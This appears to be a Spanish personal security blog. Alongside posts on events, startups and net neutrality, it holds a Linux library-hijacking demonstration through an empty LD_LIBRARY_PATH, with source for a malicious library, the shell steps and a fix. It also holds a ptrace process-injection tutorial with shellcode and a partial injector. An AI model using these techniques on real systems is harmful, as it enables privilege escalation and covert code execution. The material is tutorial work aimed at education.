XPath Injection Primer

Estos días he preparado una presentación introductoria (en inglés) sobre XPath Injection para dar como formación interna en la empresa, ya que hay gente nueva que no tiene mucha experiencia. No cubre aspectos avanzados pero sí que comienza con una introducción sobre XML y sobre XPath, para después entrar en el tema de XPath Injection. Quizá para la próxima incluya Blind XPath injection y algunos truquillos más, pero por el momento os dejo el powerpoint introductorio que para aquellos que no sepan mucho del tema les vendrá bien.

Para descargarlo podéis pinchar aquí.

¡Salud!

Emprender: Madrid Startup Weekend

08/06/2011 3 comentarios

Durante el fin de semana he tenido la suerte de participar en el Madrid Startup Weekend que se celebró en el centro Madrid On Rails. El evento estuvo bastante bien. El catering y la WiFi son aspectos a mejorar para futuras ediciones, así como la cobertura para Vodafone en el “zulo” ese donde estábamos metidos, que era bastante pobre. Se presentaron treintaitantos proyectos, de los cuales 9 comenzaron su desarrollo, aunque sólo 8 llegaron a presentarse al jurado final.

La valoración final que hicieron los inversores me produce cierta suspicacia y creo que está condicionada por el hecho de que elegir un ganador no implicaba que ellos tuvieran que poner dinero de su bolsillo en dichos proyectos, ya que sin desprestigiar ninguna idea (que de hecho eran buenas), el modelo de negocio que tenían algunas de ellas era endeble, cuando no inexistente.

El proyecto que presentamos Salva y yo fue JoinJoin, que obtuvo varios premios. Long story short, se trata de una aplicación para mejorar el networking en conferencias y eventos. Puesto que uno de los premios que obtuvimos fue una incubación en Link2Start que comienza el año próximo es probable que continuemos con el desarrollo de la idea, a ver si nos hacemos ricos de una vez.

JoinJoin: Linkedin Meets FourSquare

Pero lo más importante es que extraje algunas conclusiones sobre el emprendimiento que me gustaría dejar aquí plasmadas. Muchas de estas ideas vienen reforzadas por el evento de ASECAM, también para emprendedores, del mes pasado. Algunas pueden sonar a coña, otras pueden ser discutibles. Como ya he dicho son apreciaciones personales y para gustos colores. (El orden es casi tan irrelevante como el contenido)

  1. Una persona no puede considerarse emprendedor si no posee dos de los siguientes dispositivos: IPhone, IPad, Macbook. Sí amigos, en los eventos para emprendedores los dispositivos de Apple crecen como las setas en un rincón húmedo y oscuro. Si vas con Android molas, pero no tanto.
  2. El perfil tecnológico no es el centro del emprendimiento. Es más, es totalmente prescindible. Voy a tratar de explicar este punto, porque seguramente será comprometido. Por lo que he podido ver en ambas ocasiones, son los perfiles de marketing/ADE/negocio los que están mejor preparados para la creación de startups tecnológicas. Un ingeniero informático por lo general no dispone de conocimientos sobre contabilidad, balances, planes de negocio, planes de expansión y márketing, publicidad, ventas… Y amigos, un negocio es ventas. Si no hay ventas, no hay negocio. Un tipo de márketing puede montar un bussines plan medio decente sobre la idea, planificar costes, estrategias de comunicación y expansión, previsiones de financiación, ingresos… Con todo esto, puede obtener una visión más o menos acertada acerca de la viabilidad del proyecto. Una vez que suponen que el negocio es viable es cuando recurrirán al ingeniero, pero en este momento el ingeniero no se incorporará en igualdad de condiciones. No será un socio, si no un asalariado. Por mi experiencia, un ingeniero tiene una idea y se basa en afirmaciones personales y subjetivas sobre su viabilidad. Desde mi punto de vista, tiene muchas más posibilidades de desarrollar algo que no tuvo futuro desde el minuto cero. Es más, aunque de con algo que puede funcionar, probablemente su enfoque técnico no le saque todo el jugo posible a la parte de ventas y presentación, impidiéndole conseguir financiación o llegar al mercado adecuado.
  3. Plan de negocio y mock ups; no desarrolles. Para analizar la viabilidad de un negocio y como primera fase del mismo no hay que comenzar por desarrollar un prototipo (¡error!), si no por hacer un plan de negocio. Lo importante no es tanto el producto si no el mercado al que va dirigido, el por qué te van a pagar por él, quién es el usuario y quién es el cliente, cómo vas a llegar a ese mercado, qué financiación necesitas… La parte del producto estará cubierta con unos diseños en photoshop que muestren un poco el aspecto gráfico del desarrollo en cuestión.
  4. El emprendimiento tecnológico es cosa de hombres. A pesar de que van apareciendo mujeres, la gran mayoría son todavía perfiles masculinos.
  5. El sacrificio extremo mola. Historias de terror, casos que acongojarían a Freddy y Jason circulan entre los emprendedores. Meses con 4 horas de sueño, casas hipotecadas, años trabajando sin sueldo y viviendo a una nómina de la ruina, madres de familia que se van a los States y dejan tirado a su marido y sus hijos… Todo con tal de emprender, de llevar a cabo tu idea. Para sacar algo adelante hay que sacrificarse, pasar horas sin dormir, ganar menos dinero, y quizá renunciar a parte (o toda) tu vida social un tiempo, pero ojo, que no se te vaya de las manos. Primero tú, luego tu idea.

Esto ha sido todo por hoy. Cuando vuelva a sacar algo de tiempo nos leemos por aquí de nuevo.

Manifiesto por una Red Neutral

Los ciudadanos y las empresas usuarias de Internet adheridas a este texto manifestamos:

1. Que Internet es una Red Neutral por diseño, desde su creación hasta su actual implementación, en la que la información fluye de manera libre, sin discriminación alguna en función de origen, destino, protocolo o contenido.

2. Que las empresas, emprendedores y usuarios de Internet han podido crear servicios y productos en esa Red Neutral sin necesidad de autorizaciones ni acuerdos previos, dando lugar a una barrera de entrada prácticamente inexistente que ha permitido la explosión creativa, de innovación y de servicios que define el estado de la red actual.

3. Que todos los usuarios, emprendedores y empresas de Internet han podido definir y ofrecer sus servicios en condiciones de igualdad llevando el concepto de la libre competencia hasta extremos nunca antes conocidos.

4. Que Internet es el vehículo de libre expresión, libre información y desarrollo social más importante con el que cuentan ciudadanos y empresas. Su naturaleza no debe ser puesta en riesgo bajo ningún concepto.

5. Que para posibilitar esa Red Neutral las operadoras deben transportar paquetes de datos de manera neutral sin erigirse en “aduaneros” del tráfico y sin favorecer o perjudicar a unos contenidos por encima de otros.

6. Que la gestión del tráfico en situaciones puntuales y excepcionales de saturación de las redes debe acometerse de forma transparente, de acuerdo a criterios homogéneos de interés público y no discriminatorios ni comerciales.

7. Que dicha restricción excepcional del tráfico por parte de las operadoras no puede convertirse en una alternativa sostenida a la inversión en redes.

8. Que dicha Red Neutral se ve amenazada por operadoras interesadas en llegar a acuerdos comerciales por los que se privilegie o degrade el contenido según su relación comercial con la operadora.

9. Que algunos operadores del mercado quieren “redefinir” la Red Neutral para manejarla de acuerdo con sus intereses, y esa pretensión debe ser evitada; la definición de las reglas fundamentales del funcionamiento de Internet debe basarse en el interés de quienes la usan, no de quienes la proveen.

10. Que la respuesta ante esta amenaza para la red no puede ser la inacción: no hacer nada equivale a permitir que intereses privados puedan de facto llevar a cabo prácticas que afectan a las libertades fundamentales de los ciudadanos y la capacidad de las empresas para competir en igualdad de condiciones.

11. Que es preciso y urgente instar al Gobierno a proteger de manera clara e inequívoca la Red Neutral, con el fin de proteger el valor de Internet de cara al desarrollo de una economía más productiva, moderna, eficiente y libre de injerencias e intromisiones indebidas. Para ello es preciso que cualquier moción que se apruebe vincule de manera indisoluble la definición de Red Neutral en el contenido de la futura ley que se promueve, y no condicione su aplicación a cuestiones que poco tienen que ver con ésta.

La Red Neutral es un concepto claro y definido en el ámbito académico, donde no suscita debate: los ciudadanos y las empresas tienen derecho a que el tráfico de datos recibido o generado no sea manipulado, tergiversado, impedido, desviado, priorizado o retrasado en función del tipo de contenido, del protocolo o aplicación utilizado, del origen o destino de la comunicación ni de cualquier otra consideración ajena a la de su propia voluntad. Ese tráfico se tratará como una comunicación privada y exclusivamente bajo mandato judicial podrá ser espiado, trazado, archivado o analizado en su contenido, como correspondencia privada que es en realidad.

Europa, y España en particular, se encuentran en medio de una crisis económica tan importante que obligará al cambio radical de su modelo productivo, y a un mejor aprovechamiento de la creatividad de sus ciudadanos. La Red Neutral es crucial a la hora de preservar un ecosistema que favorezca la competencia e innovación para la creación de los innumerables productos y servicios que quedan por inventar y descubrir. La capacidad de trabajar en red, de manera colaborativa, y en mercados conectados, afectará a todos los sectores y todas las empresas de nuestro país, lo que convierte a Internet en un factor clave actual y futuro en nuestro desarrollo económico y social, determinando en gran medida el nivel de competitividad del país. De ahí nuestra profunda preocupación por la preservación de la Red Neutral. Por eso instamos con urgencia al Gobierno español a ser proactivo en el contexto europeo y a legislar de manera clara e inequívoca en ese sentido.

 

 

Categorías:General Etiquetas: ,

Linux Cracking Series (LCS): lincrackme3

cracking

Find the keys

¡Buenas! Este lunes festivo he aprovechado y os traigo la nueva entrega de la LCS (Linux Cracking Series) con lincrackme3. El anterior ha recibido ya varias soluciones en crackmes.de, pero aún dejaré unos días antes de publicar la mía (con el código fuente y las explicaciones). También comentaré las más interesantes de las que se han publicado allí.

Los que no consiguierais solucionar el anterior, no os preocupéis, intentad este, y en unos días trataré de tener la explicación del anterior, que os servirá como base para abordar el nuevo. También podéis preguntarme vuestras dudas directamente.

Lincrackme3 es algo más difícil que lincrackme2, obviamente. Incluye técnicas anti depuración, anti desensamblado y también algún truco para que el análisis del flujo de código no sea tan sencillo. Aún así, creo que no es demasiado complicado, y que está al alcance de casi todo el que le dedique un rato.

Lincrackme 3

El objetivo de este crackme es encontrar las técnicas de anti depuración y anti desensamblado, entenderlas y averiguar cómo sortearlas. Una vez conseguido, tendréis que comprender cómo se comprueban las claves para encontrar varias claves válidas (idealmente, programad un sencillo keygen y me haréis feliz). El .tgz incluye una versión para 32 bits y una versión para 64 bits. La versión de 32 debería funcionar en ambos sistemas, pero por si acaso, he decidido crear las dos.

Objetivo: Obtener las claves válidas (escribir un keygen para sobresaliente). Encontrar las protecciones y sortearlas.
Nivel: 3 (Getting harder) según clasificación de crackmes.de
Plataforma: GNU/Linux 32 y 64 bits
Reglas: Parchear el binario no está permitido, salvo para saltarse alguna protección anti depuración o desensamblado. El objetivo no es imprimir el mensaje de clave correcta, si no obtener las claves válidas. Las herramientas a utilizar, así como la plataforma son completamente libres.

Podéis descargar el crackme aquí y también en mi página de crackmes.de (en cuanto lo aprueben, yo siempre os lo traigo en primicia ;) . Como siempre, os animo a que lo intentéis, y si os quedáis atascados en algún punto podéis contactarme en los comentarios (si no da pistas al resto) o bien por email (lo tenéis en About). Prometo ayudaros y daros las pistas necesarias para que disfrutéis del reto :) Eso sí, para que todos puedan disfrutarlo, no pongáis las claves en los comentarios, por favor.

Pasado un tiempo prudencial publicaré mi solución a este reto (código, imágenes…) y comentaré las más interesantes de entre las que reciba, así que ya sabéis, ¡espero vuestras soluciones!

Categorías:cracking, Linux, Reverse Etiquetas: , ,

Noconname Día 2

21/10/2010 3 comentarios

NcNHoy el día prometía más fuerte que ayer, o al menos a mí me lo parece, aunque para gustos ya se sabe. Por desgracia la noche de ayer no terminó tarde, aunque lo pasé genial. Lo siento por los que compartieron cena conmigo, la próxima vez trataré de no hacer méritos para que nos escupan en la comida, lo prometo. Nos recogimos temprano (salvo dab y revskills que se fueron de parranda mano a mano) para descansar y poder madrugar al día siguiente. La primera charla, la de Jose Selvi, sobre IP fragmentation overlapping ha sido magnífica, con esa manera que tiene Jose de explicar los contenidos y transmitir conceptos complejos a un nivel que todo el mundo es capaz de entender. Después una de las charlas con mejor contenido, Reversing for goods de Pancake, con muchas buenas ideas para solucionar vulnerabilidades en binarios utilizando, como no, su radare2 ;) . Después un pequeño descanso que nos vino muy bien a la mayoría, y que permitió recuperar energías y también un pequeño “pwnage” analógico del portátil de dab.

La comida, como no no podía ser de otra manera, en gran compañía y muy divertida. Por la tarde me quedo con la resolución de los retos publicados para la NcN, con regalo final para los ponentes. Oh, y esa entrega de premios, donde se ha visto que el contenido desconocido de unas cajas está más valorado que un descuento para el CEH. Poco más dio de sí el día, ya que no pudimos quedarnos a la última charla, había que pasar por el hotel a recoger las cosas y volar a la estación de Sants a coger el AVE de vuelta a Madrid; aunque hemos coincidido varios en el tren y hemos venido charlando tranquilamente. Espero que los que os habéis quedado por Barcelona estéis todavía de fiesta en el local que tenía reservado la organización y que lo estéis pasando en grande por todos los demás ;)

El público en general no ha estado muy participativo en ninguna de las charlas, a pesar de los esfuerzos de algunos ponentes por hacernos partícipes de la explicación y tratar de que interviniéramos más. Aún así, lo mejor de la NcN 2010 ha sido la gente, conoceros a muchos que no teníais cara (para mí, imagino que siempre la tuvisteis, o eso quiero creer) y pasar buenos ratos charlando con vosotros. Especial mención para Miguel Gesteiro (@mgesteiro), al que no conocía y con el que he pasado buena parte de estas conferencias, así como revskills, que es otra persona a la que tenía ganas de “fichar” en persona.

En fin, que ha estado genial, a ver cuándo tenemos la oportunidad de asistir a otras conferencias y de pasarlo tan bien, o mejor, que en estas.

 

Noconname Día 1

NcNBueno, pues ya estamos de vuelta en el hotel tras el primer día de la Noconname 2010. En un rato saldremos de aquí para tomar algo y cenar con algunos de los asistentes, que siempre es la parte más divertida de las conferencias: la vida social que haces. El día ha transcurrido de manera muy amena, con algunas charlas muy interesantes, como “HTC Nand Dumping for forensics purposes”, de Pau Oliva o “Que vienen los Zombis”, de Pedro Sánchez (con momento Carbonero incluído ;) . A Pau es la primera vez que le escuchaba una ponencia, pero a Pedro le he visto en más ocasiones, y siempre hace sus charlas muy entretenidas, por lo que ha sido un placer asistir a su charla de hoy.

Lo único negativo, si hay que decir algo, es el uso del catalán en las transparencias de alguna ponencia. No tengo intención de hacer sangre, ni de entrar en un debate sobre nacionalismos o temas similares. Simplemente creo, y es mi opinión personal, que si se hace un congreso a nivel nacional el catalán no es el idioma adecuado; de la misma manera que no lo sería el español en un congreso internacional. Es una cuestión de llegar al máximo público posible y de que la gente se sienta cómoda con las charlas.

La organización ha sido muy buena, y el CosmoCaixa (que no lo conocía) me parece un sitio muy chulo. Me he quedado con ganas de bajar a ver el museo y las exposiciones, que tenían muy buena pinta desde la planta en la que estábamos. Como con la entrada a la NcN (o más bien porque para llegar al auditorio nos hacían falta) nos daban entrada para el recinto, intentaré pasarme mañana en el rato de la comida o del descanso por alguna de las muestras. Desde luego no será en otro momento, porque las charlas para mañana prometen muchísimo.

En fin, vamos preparando que hay que salir a por unas cervecitas y algo para echarse al buche, y pronto de vuelta para mañana estar puntuales en la charla de Jose Selvi “IP fragmentation Overlapping” para empezar bien el día.

Categorías:eventos, seguridad Etiquetas: , , ,

Linux Cracking Series: Lincrackme2

10/10/2010 1 Comentario

Aquí estamos otra vez, para tratar de traer algo interesante. La verdad es que he dejado un par de entradas a medias que ya terminaré, pero ese es otro asunto. En esta nueva serie que iniciamos hoy, pretendo mostrar algo más sobre reversing/cracking en Linux. Puede parecer algo poco útil, pero la verdad es que existen muchas aplicaciones cuyo código fuente no está disponible, aparte  de los CTF u otros concursos donde podréis aplicar estos conocimientos.

La filosofía del “curso” va a ser la de aprender a través de ejemplos, concretamente de crackmes/keygenmes. Se irá de más fácil a más difícil, y se dejará un tiempo entre uno y otro para que pueda recibir soluciones de la gente que esté interesada. Publicaré mi propia solución detallada -incluyendo código fuente-, explicando paso a paso todos los problemas y cómo solventarlos para que nadie se pierda, y si alguna solución es especialmente buena o ingeniosa y el autor está de acuerdo, también se publicará en el blog. Los crackmes se publicarán aquí y, si sus moderadores lo aprueban (ya ha sido aprobado), también en http://crackmes.de/users/adrianbn. Podréis enviar las soluciones a través de esa web o directamente a mí a adrianbn[_en_]gmail[_punto_]com.

Si nunca habéis utilizado ningún debugger, ni tenéis unos conocimientos básicos de ensamblador, entonces esta serie -de momento- no es para vosotros. Si habéis seguido el blog, deberíais ser capaces de resolver los crackmes con mayor o menor esfuerzo. Si con los resultados a la vista, resulta ser demasiado complicado, ampliaré la serie hacia ambos sentidos; hacía cosas más fáciles y hacia cosas más difíciles. Todo este feedback me lo podéis dar bien a través de los comentarios, por correo electrónico directamente a mí, o en los comentarios de crackmes.de.

Lincrackme2

El objetivo de este crackme es identificar y sortear la(s) proteccion(es) anti depuración que tiene implementadas. El crackme también lleva alguna protección anti desensamblado, para tratar de que os centréis en conseguir depurar el programa. No obstante, si a alguien le resulta más fácil pelear contra las técnicas de anti desensamblado, puede hacerlo, aunque le recomiendo que se fije en las protecciones anti depuración, que es en lo que se centrarán los primeros crackmes.

Objetivo: Obtener el único código válido. Identificar las protecciones y sortearlas.
Nivel: 2 (Needs a little brain, or luck), de acuerdo a la clasificación de crackmes.de.
Plataforma: GNU/Linux 32 y 64 bits.
Reglas: Parchear el binario no está permitido salvo como último recurso (ultimísimo, ¿eh?). No pongáis la clave en los comentarios, por favor, así todos podrán intentarlo. Podéis utilizar cualquier herramienta en cualquier plataforma.

Podéis descargar el crackme aquí y en mi página de crackmes.de (en cuanto sea aprobado).

Animaos a intentarlo, yo prometo ayudar y/o dar pistas si os quedáis atascados en algún punto. Tenéis mi email para contactarme si los detalles dan muchas pistas a otros usuarios, y los comentarios para cosas más generales. ¡Espero vuestras soluciones!

 

Categorías:cracking, Linux, Reverse Etiquetas: , , , ,

DLL Hijacking Linux (Windows like)

31/08/2010 19 comentarios

Mucho se ha hablado (y el revuelo ha sido enorme) estos días sobre un “fallo/feature/vulnerabilidad” en la forma en la que Windows busca las librerías compartidas (DLL) que necesita un ejecutable. El problema viene cuando los programadores no indican la ruta completa de la librería requerida. En esa situación, un atacante podría conseguir que se cargara su DLL maliciosa, colocándola en el directorio desde el cual se lanza la aplicación vulnerable. Por poner un escenario de ejemplo, si un atacante lograse incitar a un usuario a ejecutar una aplicación “confiable” desde un directorio compartido (network share) en el que previamente ha colocado su DLL maliciosa, el ejecutable cargaría ésta en lugar de la original. Se han encontrado multitud de aplicaciones vulnerables (incluídas algunas de Microsoft).

Como suele ser también habitual, han saltado aquellos que dicen que estas cosas en Linux no pasan porque es más seguro o porque el Dios protector del Pingüino estelar vela por nosotros. En cualquier caso, la realidad es que existe un comportamiento “similar” en Linux, y de eso es de lo que vamos a hablar en esta entrada. Quiero dejar claro que no se trata de algo que yo haya descubierto. Más bien es algo que se conoce desde hace tiempo, y que me ha parecido interesante traer de nuevo a la palestra visto el impacto que ha causado en Windows.

Update: Recientemente se ha comentado esto mismo en Full Disclosure, aunque con menos detalle ;) Eso sí, han aportado una búsqueda en Google Code para localizar posibles aplicaciones vulnerables.
Update 2: “Recientemente” tenía sentido en el momento de escribir el post, aunque algo menos cuando se ha publicado.

LD_LIBRARY_PATH

La variable de entorno LD_LIBRARY_PATH indica al linker (ld) las rutas en las que debe buscar las librerías dinámicas (shared objects en linux).  La posición dentro de la variable es relevante, ya que el linker busca las librerías en el orden en el que aparecen listadas en la variable, y por último en los directorios por defecto (/lib, /usr/lib, …). Para que quede claro, estas dos líneas darán como resultado un orden de búsqueda diferente:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
export LD_LIBRARY_PATH=/usr/share/app:$LD_LIBRARY_PATH

En la primera, se buscará primero en el contenido previo de LD_LIBRARY_PATH, después en /usr/share/app, y por último en los directorios por defecto. Sin embargo, en la segunda, se buscará en primer lugar en /usr/share/app, posteriormente en lo que contenga LD_LIBRARY_PATH y finalmente en los directorios por defecto. Para el caso que nos ocupa, nos interesa la primera línea.

El linker tiene un comportamiento “extraño” y que da lugar a la situación que veremos a continuación. Lo que sucede es que el linker traduce un LD_LIBRARY_PATH vacío por $PWD. Como ya estáis intuyendo, y como habréis visto en cientos de scripts, tendremos un problema si se utiliza la línea que vimos antes:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

Esto es, si llegado a ese punto del script la variable LD_LIBRARY_PATH es vacía, el linker la sustituirá por $PWD, abriendo la posibilidad a un DLL hijacking o binary planting. Como en el caso de Windows, hay que encontrar aplicaciones vulnerables y lograr que el usuario las invoque desde un directorio que controlemos para poder llevar a cabo el ataque. Como en este blog no nos gusta mucho la teoría, he preparado un ejemplo sencillo para que se entienda mejor.

Hands On

El ejemplo consta de los siguientes ficheros:

  • /bin/app: El binario de la aplicación, que utiliza applib.so para mostrar un mensaje por pantalla. Creado desde app.c
  • /usr/share/app/applib.so: La librería que contiene la función para mostrar el mensaje. Creado desde applib.c
  • /etc/init.d/app.sh: El script de inicio de la aplicación, que prepara el entorno y la invoca (fija LD_LIBRARY_PATH)
  • /tmp/applib.so: Librería maliciosa, creada desde fakelib.c, situada en un directorio controlado por el atacante y desde donde el usuario invocará la aplicación original.

Aquí está el código de estos ficheros, para que podáis descargarlo y probarlo vosotros mismos.

La aplicación (app.c):


#include <stdlib.h>

int main(void){
 // do stuff
 my_printf("im a cool app doing fancy things\n");
 // more great stuff
}

La librería de funciones (applib.c):


#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int my_printf(const char *format, ...){
 write(2, format, strlen(format));
}

El script de arranque (app.sh):


#!/bin/sh

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

/bin/app

Y por último, la librería maliciosa, fakelib.c:


#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int my_printf(const char *format, ...){
 write(2, "Hijacked : )\n", 13);
 exit(0);
}

Pasamos entonces a compilar y fijar la aplicación y las librerías en su sitio correspondiente:


adrian@Orion-virt:~$ gcc -c app.c
adrian@Orion-virt:~$ gcc applib.c -fPIC -shared -o applib.so
adrian@Orion-virt:~$ gcc -o app applib.so app.o
adrian@Orion-virt:~$ ./app
im a cool app doing fancy things

adrian@Orion-virt:~$ sudo mkdir /usr/share/app
adrian@Orion-virt:~$ sudo mv applib.so /usr/share/app
adrian@Orion-virt:~$ sudo mv app /bin/
adrian@Orion-virt:~$ sudo vim /etc/init.d/app.sh
adrian@Orion-virt:~$ vim fakelib.c
adrian@Orion-virt:~$ gcc -fPIC -shared -o applib.so fakelib.c
adrian@Orion-virt:~$ mv applib.so /tmp/

Con todas las piezas situadas en su sitio, si ejecutamos la aplicación desde un directorio seguro, funcionará como esperamos. Pero si cambiamos de directorio a uno controlado por el atacante (donde esté fakelib) el linker cargará la librería maliciosa y obtendremos un mensaje diferente:


adrian@Orion-virt:~$ /etc/init.d/app.sh
im a cool app doing fancy things
adrian@Orion-virt:~$ cd /tmp/
adrian@Orion-virt:/tmp$ /etc/init.d/app.sh
Hijacked : )
adrian@Orion-virt:/tmp$ sudo /etc/init.d/app.sh
Hijacked : )

Como se puede ver, el “ataque” funciona. Y es más, puede servir para escalar privielgios o ejecutar código como root, porque si bien es cierto que sudo elimina (unset) las variables de entorno antes de elevar privilegios, esta acción se realiza antes de que el script rellene LD_LIBRARY_PATH con un nuevo valor.

Personalmente entiendo la comodidad de sustituir un LD_LIBRARY_PATH vacío por $PWD, pero quizá, salvo petición expresa, $PWD debería chequearse en último lugar (salvo que se haya añadido al LIBPATH a mano). Aún así, el fallo real es culpa del programador, que debería comprobar si LD_LIBRARY_PATH está vacía antes de asignarle un valor. Algo como esto solucionaría la vulnerabilidad en nuestra pequeña aplicación:

#!/bin/sh

if [ -n "${LD_LIBRARY_PATH+x}" ]; then
 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
else
 export LD_LIBRARY_PATH=/usr/share/app
fi

/bin/app

Espero que la vuelta de vacaciones no sea muy dura. Cualquier comentario o aportación es bienvenido :)

Eppure si muove

Ha pasado un tiempo desde el último post (¡más de dos meses!) y no he dicho nada por aquí. La verdad es que ha habido cambios importantes a nivel personal, y profesional/laboral (esta última me ha costado la asistencia al Asegur@IT8). Me he embarcado en otros proyectos que han consumido parte del tiempo que dedico al blog y además ha llegado el calor; mi bioritmo en verano es más bien bajo.

A pesar de todo el espectáculo debe continuar y lo hará, una vez vuelva de mis vacaciones y reúna el tiempo suficiente. Mientras, baste decir que una de las cosas que me ha robado algo de tiempo ha sido el desarrollo de una pequeña aplicación para realizar parcheo de binarios, que he dejado parada pero de la que espero tener una versión beta dentro de poco y poder presentarla en el blog. Del resto de proyectos, algunos no tienen nada que ver con la seguridad, y la relación de otros con la informática es tangencial. De todos modos, si van saliendo adelante y lo considero relevante quizá hable de ellos o pueda extraer algo de interés para el blog.

A la vuelta la idea es seguir con la serie de exploiting, hablar un poco más de malware y finalizar el tema de la inyección de memoria en linux y otras cosas estilo api hooking también en linux. Poco a poco querría comentar también alguna cosa más de ingeniería inversa, quizá en windows, ya se verá. Ah, y fui tomando nota de los resultados de un par de wargames que pondré por aquí para compartir y opinar.

Colgamos el cartel de cerrado por vacaciones, pero no sin dejar una pequeña captura sobre la política de contraseñas de una web, donde además, se maneja bastante dinero. Y es que el estado siempre está pensando en mi seguridad y la de mi dinero.

Onlae y sus passwords

Ya sabéis, nada de caracteres especiales, que se rompe el parser

Resumiendo, que a pesar del aparente parón del blog, como diría galileo: “Eppure si muove” (Y sin embargo se mueve). Nos vemos a la vuelta. Pasad buenas vacaciones.

Categorías:General, seguridad

Inyección de memoria en Linux I

17/05/2010 3 comentarios

Normalmente estoy haciendo varias cosas a la vez, y relacionado con una de ellas estuve probando formas de inyectarme dentro de la memoria de otro proceso y forzarlo a ejecutar el código que yo quiera. Aunque tenemos varias cosas a medias en el blog (parte de la serie exploiting y otras cosas), he decidido contar un poco este tema, que aunque es antiguo y muy conocido, no deja de ser interesante. Nota: todo el código mostrado a continuación es para plataformas de 32 bits, para adaptarlo a 64 bits sería necesario modificar los accesos a regs.eip por regs.rip y el ensamblador ligeramente.

Vamos con ello entonces. En esta entrada vamos a servirnos de la API de depuración que ofrece el kernel para controlar otro proceso, y una vez hecho, le forzaremos a ejecutar nuestro código. En Linux, esta API es ptrace, que es usada por los depuradores como gdb para inspeccionar y modificar a un proceso. Básicamente lo que hace ptrace es convertirnos en el padre del proceso elegido, y pararlo para que podamos examinarlo. Como debería resultar evidente -esas mentes calenturientas que se detengan ya-, no es posible attachearse a un proceso que no nos pertenezca, salvo que seamos root, en cuyo caso sí. Esto quiere decir que si podemos realizar un PTRACE_ATTACH con éxito sobre un proceso dado podremos controlarlo. En esta primera parte, para no complicarnos, haremos un proceso víctima sobre el que inyectaremos código. Nuestro proceso hará lo siguiente:


#include <stdio.h>
#include <unistd.h>

int main(int argc, char** argv){
 int v = 5;

 while (1){
 printf("El sentido de la vida es %d\n", v);
 sleep(1);
 }
 return 0;
}

Se queda en un bucle infinito mostrando por pantalla, cada segundo, un mensaje (equivocado) acerca del sentido de la vida. Nuestra misión por tanto será hacer que diga la verdad y que se calle para siempre :P

Qué inyectar y cómo hacerlo

Evidentemente, para inyectar código en ejecución, necesitamos que ese código esté en un lenguaje que el procesador sea capaz de comprender, algo similar a lo que sucede con una shellcode. Del mismo modo que con las shellcodes, necesitamos que el código sea independiente de la posición, ya que no podemos garantizar dónde se inyectará. En nuestro caso, queremos que la víctima muestre un mensaje y salga, así que nuestro código podría ser algo como lo siguiente:


BITS 32

 xor eax, eax
 ;ssize_t write(int fd, const void *buf, size_t num);
 mov al, 4    ;write es la syscall 4
 xor ebx, ebx ; limpiamos ebx, por lo que pudiera contener en el momento de la inyección
 inc ebx          ; 1 es el descriptor de salida estándar
 jmp short data ; saltamos para poder hacer call hacia arriba y evitar null bytes
back:
 xor ecx, ecx  ; limpiamos por si acaso
 mov ecx, [esp] ; colocamos la dirección de la cadena
 xor edx, edx     ; limpiamos por si acaso
 mov dl, 28        ; colocamos la longitud de la cadena
 int 0x80           ; llamada al sistema operativo

 ;void _exit(int status);
 xor eax, eax     ; limpiamos
 inc eax               ; exit es la syscall 1
 xor    ebx, ebx  ; exit status = 0
 int 0x80

data:
 call     back ; metemos en la pila la dirección de la cadena
 db    "El sentido de la vida es 42",0x0a   ; Este sí que es el sentido de la vida

Para los que este código os suene a chino, echadle un ojo a las entradas sobre shellcodes (I, II) y lo entenderéis. Aunque no es necesario eliminar los null bytes para este propósito, me he tomado la molestia de hacerlos, ya que así podré utilizar strlen sobre la cadena resultante. En el programa inyector, colocaremos este código tras ensamblarlo con nasm, igual que hicimos en los exploits con las shellcodes. Es importante limpiar los registros antes de utilizarlos, sobretodo si se van a realizar operaciones sobre las partes altas o bajas (al, dl…) ya que no afectan al contenido del resto del registro y puede quedar “basura” que estuviera usando la víctima antes de la inyección. Para ensamblarlo bastará con lo siguiente:


adrian@Andromeda:~/projs/injection$ nasm icode.S

Y podemos ver el contenido en código máquina (que colocaremos en el programa inyector), con hexdump.


adrian@Andromeda:~/projs/injection$ hexdump -C icode
00000000  31 c0 b0 04 31 db 43 eb  12 31 c9 8b 0c 24 31 d2  |1...1.C..1...$1.|
00000010  b2 1c cd 80 31 c0 40 31  db cd 80 e8 e9 ff ff ff  |....1.@1........|
00000020  45 6c 20 73 65 6e 74 69  64 6f 20 64 65 20 6c 61  |El sentido de la|
00000030  20 76 69 64 61 20 65 73  20 34 32 0a              | vida es 42.|

Ahora que ya tenemos listo lo que queremos inyectar y lo hemos preparado de una forma que funcione correctamente, vamos a ver el programa que hará el trabajo.

Inyectando

A continuación se muestra el programa (una POC, para hacerlo fiable y eficiente habría que añadirle algunas cosas). Leedlo por encima, y ahora comentaremos las partes más importantes.


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <string.h>
#include <sys/user.h>
#include <signal.h>
#include <errno.h>

// Código máquina a inyectar, ensamblado con nasm desde el ASM que vimos antes
unsigned char code[]=
 "\x31\xc0\xb0\x04\x31\xdb\x43\xeb\x12\x31\xc9\x8b\x0c\x24\x31\xd2"
 "\xb2\x1c\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe9\xff\xff\xff"
 "\x45\x6c\x20\x73\x65\x6e\x74\x69\x64\x6f\x20\x64\x65\x20\x6c\x61"
 "\x20\x76\x69\x64\x61\x20\x65\x73\x20\x34\x32\x0a";

int main(int argc, char** argv){
 pid_t pid;
 int i;
 struct user_regs_struct regs;

 if (argc != 2){
 printf("Usage: %s <process id>\n",argv[0]);
 exit(1);
 }

 pid = (pid_t)atoi(argv[1]);

 printf("[?] Attaching to process %d...\n",pid);
 if (ptrace(PTRACE_ATTACH, pid,0,0) < 0){
 perror("[!] ptrace: ATTACH");
 exit(1);
 }
 printf("[+] Succesfully attached!\n");

// Esperamos para asegurarnos de que el proceso se ha parado
 wait(NULL);

 printf("[?] Getting register information for the process...\n");
 if (ptrace(PTRACE_GETREGS, pid, 0, &regs) < 0){
 perror("[!] ptrace: GETREGS");
 exit(1);
 }
 printf("[+] Got eip pointing at 0x%x\n", (unsigned int)regs.eip);

 printf("[?] Injecting code at eip...\n");
